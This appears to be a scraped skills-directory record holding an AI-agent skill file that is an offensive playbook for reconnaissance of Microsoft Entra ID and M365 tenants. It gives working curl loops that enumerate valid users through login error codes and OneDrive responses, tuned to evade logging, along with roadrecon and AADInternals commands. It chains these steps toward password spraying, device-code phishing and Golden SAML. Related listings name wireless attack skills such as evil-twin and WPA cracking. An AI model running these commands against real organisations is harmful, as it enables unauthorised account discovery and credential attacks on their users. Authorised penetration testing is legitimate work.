[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7703BJ5Q73JKHT3NSWAVFMP":3,"skill-same:01M7703BJ5Q73JKHT3NSWAVFMP":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7703BJ5Q73JKHT3NSWAVFMP","entra-enum",null,"Entra ID \u002F M365 reconnaissance — unauthenticated tenant discovery via OpenID config, GetUserRealm, autodiscover; user enumeration via login response codes and OneDrive; federation\u002FMFA\u002FCA posture; authenticated enumeration with ROADtools (roadrecon), AADInternals, MSGraph.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-enum\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: entra-enum\ndescription: \"Entra ID \u002F M365 reconnaissance — unauthenticated tenant discovery via OpenID config, GetUserRealm, autodiscover; user enumeration via login response codes and OneDrive; federation\u002FMFA\u002FCA posture; authenticated enumeration with ROADtools (roadrecon), AADInternals, MSGraph.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"entra azure ad aad m365 office365 tenant discovery user enumeration onedrive getuserrealm openid federation roadrecon roadtools aadinternals graph conditional access mfa posture recon\"\n  subdomain: cloud\n  tags: azure, entra-id, m365, recon, enumeration\n  mitre_attack: T1087.004, T1589.002, T1526, T1078.004\n---\n\n# Entra ID \u002F M365 Enumeration\n\nYou have a target domain (e.g. `\u003CTARGET>`) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA\u002FCA posture — all reachable unauth. Then layer authenticated recon once you have a token.\n\n## Phase 0: Tenant discovery (unauth)\n\n```bash\nTARGET=\u003CTARGET>           # e.g. contoso.com\n# 1. OpenID config — tenant ID + auth endpoints\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002F.well-known\u002Fopenid-configuration\" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'\n\n# 2. GetUserRealm — federation type (Managed | Federated | Unknown)\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=any@${TARGET}&xml=1\"\n\n# 3. Autodiscover — federated IdP hint (ADFS, Okta, PingFed)\ncurl -s \"https:\u002F\u002Fautodiscover-s.outlook.com\u002Fautodiscover\u002Fautodiscover.svc\" \\\n  -H \"Content-Type: text\u002Fxml; charset=utf-8\" \\\n  -H \"SOAPAction: \\\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002F2010\u002FAutodiscover\u002FAutodiscover\u002FGetFederationInformation\\\"\" \\\n  -d @- \u003C\u003CXML | xmllint --format -\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\" xmlns:a=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002F2010\u002FAutodiscover\">\n  \u003Csoap:Header>\u003Ca:RequestedServerVersion>Exchange2010\u003C\u002Fa:RequestedServerVersion>\u003C\u002Fsoap:Header>\n  \u003Csoap:Body>\u003Ca:GetFederationInformationRequestMessage>\u003Ca:Request>\u003Ca:Domain>${TARGET}\u003C\u002Fa:Domain>\u003C\u002Fa:Request>\u003C\u002Fa:GetFederationInformationRequestMessage>\u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>\nXML\n\n# 4. Tenant branding (logo, banner string => social-engineering pretext)\ncurl -sI \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n```\n\nPull tenant ID into env:\n```bash\nTENANT=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002F.well-known\u002Fopenid-configuration\" | jq -r .issuer | awk -F\u002F '{print $4}')\necho \"$TENANT\"   # GUID\n```\n\n## Phase 1: User enumeration (unauth)\n\n### o365creeper — login endpoint response codes\n```bash\n# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\" \\\n  -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=\u003CUPN>&password=Invalid!\" \\\n  -d \"scope=openid\" | jq -r .error_description\n```\n\nDrive it from a list:\n```bash\nfor u in $(cat users.txt); do\n  err=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\" \\\n    -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=NotReal_$(date +%s)!\" \\\n    | jq -r .error_description | awk '{print $1}')\n  case \"$err\" in AADSTS50126|AADSTS50053|AADSTS50079|AADSTS50076) echo \"VALID: $u\" ;; esac\n  sleep $((RANDOM % 3 + 2))\ndone\n```\n\n### OneDrive enumeration (no auth, no rate-limit log)\n```bash\n# Domain prefix derived from primary domain — `contoso.com` -> `contoso`\nTENANT_PREFIX=\u003CPREFIX>\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code} ${u}\\n\" \\\n  \"https:\u002F\u002F${TENANT_PREFIX}-my.sharepoint.com\u002Fpersonal\u002F${u}_${TARGET\u002F\u002F.\u002F_}\u002F_layouts\u002F15\u002Fonedrive.aspx\"\n# 403 => user exists, 404 => doesn't. Zero auth events generated.\n```\n\n### Teams presence (authenticated, but very low-noise)\n```bash\n# With any tenant token:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fpresence.teams.microsoft.com\u002Fv1\u002Fpresence\u002Fgetpresence\u002F\" \\\n  -d '{\"mris\":[\"8:orgid:\u003CUSER_GUID>\"]}'\n```\n\n## Phase 2: Federation + MFA posture\n\n```bash\n# Managed vs Federated\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=test@${TARGET}&xml=1\" | grep -oE '\u003CNameSpaceType>[^\u003C]+'\n\n# If Federated => target the IdP (ADFS endpoints exposed):\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=test@${TARGET}&xml=1\" | grep -oE '\u003CSTSAuthURL>[^\u003C]+'\n\n# Seamless SSO probe (DesktopSso) — presence of \u002FDesktopSsoAuth indicates SSO\ncurl -sI \"https:\u002F\u002Fautologon.microsoftazuread-sso.com\u002F${TARGET}\u002Fwinauth\u002Ftrust\u002F2005\u002Fusernamemixed?client-request-id=\u003CGUID>\"\n```\n\n## Phase 3: Authenticated enumeration\n\n### roadrecon (ROADtools)\n```bash\npipx install roadtools\nroadrecon auth -u \u003CUPN> -p '\u003CPASSWORD>'                  # device-code: roadrecon auth --device-code\nroadrecon gather                                          # pulls users\u002Fgroups\u002Fapps\u002Froles\u002Fdevices\u002FCAs\nroadrecon dump --format json --file roadrecon.json\nroadrecon gui                                             # graph-aware browser\n```\n\nTargeted Cypher-like queries via `roadrecon plugin`:\n```bash\nroadrecon plugin policies   # ALL conditional access policies (raw JSON)\nroadrecon plugin privexch   # high-priv mailbox roles\n```\n\n### AADInternals (PowerShell — fewer Graph audit events)\n```powershell\nInstall-Module AADInternals -Force\n$at = Get-AADIntAccessTokenForAADGraph -SaveToCache\nGet-AADIntTenantDomains -Domain \u003CTARGET>\nGet-AADIntLoginInformation -Domain \u003CTARGET>\nGet-AADIntUsers | Select UserPrincipalName,DisplayName,immutableId\nInvoke-AADIntReconAsOutsider -DomainName \u003CTARGET>     # 100% unauth\nInvoke-AADIntUserEnumerationAsOutsider -UserName users.txt\n```\n\n### MSGraph direct\n```bash\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers?\\$select=userPrincipalName,id,onPremisesSyncEnabled\" | jq .\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FdirectoryRoles\" | jq '.value[]|.displayName'\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fpolicies\u002FconditionalAccessPolicies\" | jq '.value[]|{n:.displayName,s:.state}'\n```\n\n## Chains\n- **Tenant discovery → user spray → password-spray** (rate-limited; pair with `entra-conditional-access-bypass` for legacy-auth endpoints).\n- **Federation discovery → ADFS target** (Golden SAML — see `entra-privesc`).\n- **OneDrive enum (silent) → device-code phish** (see `entra-device-code-phishing`).\n- **`onPremisesSyncEnabled=true` → hybrid identity hunt** → AAD Connect server.\n\n## Tools\n- **ROADtools \u002F roadrecon** — primary authenticated enum (Dirk-jan Mollema).\n- **AADInternals** — PowerShell, deep AAD internals, both unauth + auth modes.\n- **o365creeper \u002F MailSniper \u002F MSOLSpray** — user enumeration + spray.\n- **TeamFiltration** — combined enum\u002Fspray\u002Fexfil from M365.\n- **GraphRunner** — auth Graph operator UI.\n\n## Detection signatures\n- Sign-in logs: high volume of `50034` (unknown user) followed by `50126` => spray reconnaissance.\n- Repeated `getuserrealm.srf` from one IP is invisible to tenants — not logged.\n- OneDrive `403` ping pattern is also unlogged at the tenant — assume zero detection.\n- `roadrecon gather` produces ~30s burst of Graph queries from one IP — show up in audit log as `Microsoft.Graph` reads from non-corp ASN.\n\n## Decision gate\n- Federation == Federated → pivot to ADFS \u002F IdP attacks; Golden SAML viable if you own the IdP host.\n- Federation == Managed and CA blocks legacy → escalate to device-code phishing.\n- `onPremisesSyncEnabled=true` on most users → hybrid env → hunt AAD Connect \u002F `azure-managed-identity` MSOL extraction.\n- No CA on legacy auth → spray IMAP\u002FPOP\u002FSMTP-AUTH (see `entra-conditional-access-bypass`).\n","# Entra ID \u002F M365 Enumeration\n\nYou have a target domain (e.g. `\u003CTARGET>`) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA\u002FCA posture — all reachable unauth. Then layer authenticated recon once you have a token.\n\n## Phase 0: Tenant discovery (unauth)\n\n```bash\nTARGET=\u003CTARGET>           # e.g. contoso.com\n# 1. OpenID config — tenant ID + auth endpoints\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002F.well-known\u002Fopenid-configuration\" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'\n\n# 2. GetUserRealm — federation type (Managed | Federated | Unknown)\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=any@${TARGET}&xml=1\"\n\n# 3. Autodiscover — federated IdP hint (ADFS, Okta, PingFed)\ncurl -s \"https:\u002F\u002Fautodiscover-s.outlook.com\u002Fautodiscover\u002Fautodiscover.svc\" \\\n  -H \"Content-Type: text\u002Fxml; charset=utf-8\" \\\n  -H \"SOAPAction: \\\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002F2010\u002FAutodiscover\u002FAutodiscover\u002FGetFederationInformation\\\"\" \\\n  -d @- \u003C\u003CXML | xmllint --format -\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\" xmlns:a=\"http:\u002F\u002Fschemas.microsoft.com\u002Fexchange\u002F2010\u002FAutodiscover\">\n  \u003Csoap:Header>\u003Ca:RequestedServerVersion>Exchange2010\u003C\u002Fa:RequestedServerVersion>\u003C\u002Fsoap:Header>\n  \u003Csoap:Body>\u003Ca:GetFederationInformationRequestMessage>\u003Ca:Request>\u003Ca:Domain>${TARGET}\u003C\u002Fa:Domain>\u003C\u002Fa:Request>\u003C\u002Fa:GetFederationInformationRequestMessage>\u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>\nXML\n\n# 4. Tenant branding (logo, banner string => social-engineering pretext)\ncurl -sI \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n```\n\nPull tenant ID into env:\n```bash\nTENANT=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TARGET}\u002F.well-known\u002Fopenid-configuration\" | jq -r .issuer | awk -F\u002F '{print $4}')\necho \"$TENANT\"   # GUID\n```\n\n## Phase 1: User enumeration (unauth)\n\n### o365creeper — login endpoint response codes\n```bash\n# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\" \\\n  -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=\u003CUPN>&password=Invalid!\" \\\n  -d \"scope=openid\" | jq -r .error_description\n```\n\nDrive it from a list:\n```bash\nfor u in $(cat users.txt); do\n  err=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Ftoken\" \\\n    -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=NotReal_$(date +%s)!\" \\\n    | jq -r .error_description | awk '{print $1}')\n  case \"$err\" in AADSTS50126|AADSTS50053|AADSTS50079|AADSTS50076) echo \"VALID: $u\" ;; esac\n  sleep $((RANDOM % 3 + 2))\ndone\n```\n\n### OneDrive enumeration (no auth, no rate-limit log)\n```bash\n# Domain prefix derived from primary domain — `contoso.com` -> `contoso`\nTENANT_PREFIX=\u003CPREFIX>\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code} ${u}\\n\" \\\n  \"https:\u002F\u002F${TENANT_PREFIX}-my.sharepoint.com\u002Fpersonal\u002F${u}_${TARGET\u002F\u002F.\u002F_}\u002F_layouts\u002F15\u002Fonedrive.aspx\"\n# 403 => user exists, 404 => doesn't. Zero auth events generated.\n```\n\n### Teams presence (authenticated, but very low-noise)\n```bash\n# With any tenant token:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fpresence.teams.microsoft.com\u002Fv1\u002Fpresence\u002Fgetpresence\u002F\" \\\n  -d '{\"mris\":[\"8:orgid:\u003CUSER_GUID>\"]}'\n```\n\n## Phase 2: Federation + MFA posture\n\n```bash\n# Managed vs Federated\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=test@${TARGET}&xml=1\" | grep -oE '\u003CNameSpaceType>[^\u003C]+'\n\n# If Federated => target the IdP (ADFS endpoints exposed):\ncurl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=test@${TARGET}&xml=1\" | grep -oE '\u003CSTSAuthURL>[^\u003C]+'\n\n# Seamless SSO probe (DesktopSso) — presence of \u002FDesktopSsoAuth indicates SSO\ncurl -sI \"https:\u002F\u002Fautologon.microsoftazuread-sso.com\u002F${TARGET}\u002Fwinauth\u002Ftrust\u002F2005\u002Fusernamemixed?client-request-id=\u003CGUID>\"\n```\n\n## Phase 3: Authenticated enumeration\n\n### roadrecon (ROADtools)\n```bash\npipx install roadtools\nroadrecon auth -u \u003CUPN> -p '\u003CPASSWORD>'                  # device-code: roadrecon auth --device-code\nroadrecon gather                                          # pulls users\u002Fgroups\u002Fapps\u002Froles\u002Fdevices\u002FCAs\nroadrecon dump --format json --file roadrecon.json\nroadrecon gui                                             # graph-aware browser\n```\n\nTargeted Cypher-like queries via `roadrecon plugin`:\n```bash\nroadrecon plugin policies   # ALL conditional access policies (raw JSON)\nroadrecon plugin privexch   # high-priv mailbox roles\n```\n\n### AADInternals (PowerShell — fewer Graph audit events)\n```powershell\nInstall-Module AADInternals -Force\n$at = Get-AADIntAccessTokenForAADGraph -SaveToCache\nGet-AADIntTenantDomains -Domain \u003CTARGET>\nGet-AADIntLoginInformation -Domain \u003CTARGET>\nGet-AADIntUsers | Select UserPrincipalName,DisplayName,immutableId\nInvoke-AADIntReconAsOutsider -DomainName \u003CTARGET>     # 100% unauth\nInvoke-AADIntUserEnumerationAsOutsider -UserName users.txt\n```\n\n### MSGraph direct\n```bash\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers?\\$select=userPrincipalName,id,onPremisesSyncEnabled\" | jq .\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002FdirectoryRoles\" | jq '.value[]|.displayName'\ncurl -s -H \"Authorization: Bearer $TOKEN\" \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fpolicies\u002FconditionalAccessPolicies\" | jq '.value[]|{n:.displayName,s:.state}'\n```\n\n## Chains\n- **Tenant discovery → user spray → password-spray** (rate-limited; pair with `entra-conditional-access-bypass` for legacy-auth endpoints).\n- **Federation discovery → ADFS target** (Golden SAML — see `entra-privesc`).\n- **OneDrive enum (silent) → device-code phish** (see `entra-device-code-phishing`).\n- **`onPremisesSyncEnabled=true` → hybrid identity hunt** → AAD Connect server.\n\n## Tools\n- **ROADtools \u002F roadrecon** — primary authenticated enum (Dirk-jan Mollema).\n- **AADInternals** — PowerShell, deep AAD internals, both unauth + auth modes.\n- **o365creeper \u002F MailSniper \u002F MSOLSpray** — user enumeration + spray.\n- **TeamFiltration** — combined enum\u002Fspray\u002Fexfil from M365.\n- **GraphRunner** — auth Graph operator UI.\n\n## Detection signatures\n- Sign-in logs: high volume of `50034` (unknown user) followed by `50126` => spray reconnaissance.\n- Repeated `getuserrealm.srf` from one IP is invisible to tenants — not logged.\n- OneDrive `403` ping pattern is also unlogged at the tenant — assume zero detection.\n- `roadrecon gather` produces ~30s burst of Graph queries from one IP — show up in audit log as `Microsoft.Graph` reads from non-corp ASN.\n\n## Decision gate\n- Federation == Federated → pivot to ADFS \u002F IdP attacks; Golden SAML viable if you own the IdP host.\n- Federation == Managed and CA blocks legacy → escalate to device-code phishing.\n- `onPremisesSyncEnabled=true` on most users → hybrid env → hunt AAD Connect \u002F `azure-managed-identity` MSOL extraction.\n- No CA on legacy auth → spray IMAP\u002FPOP\u002FSMTP-AUTH (see `entra-conditional-access-bypass`).\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"azure, entra-id, m365, recon, enumeration","cloud","entra azure ad aad m365 office365 tenant discovery user enumeration onedrive getuserrealm openid federation roadrecon roadtools aadinternals graph conditional access mfa posture recon","T1087.004, T1589.002, T1526, T1078.004","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-enum","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill entra-enum",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill entra-enum",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill entra-enum","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-enum\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]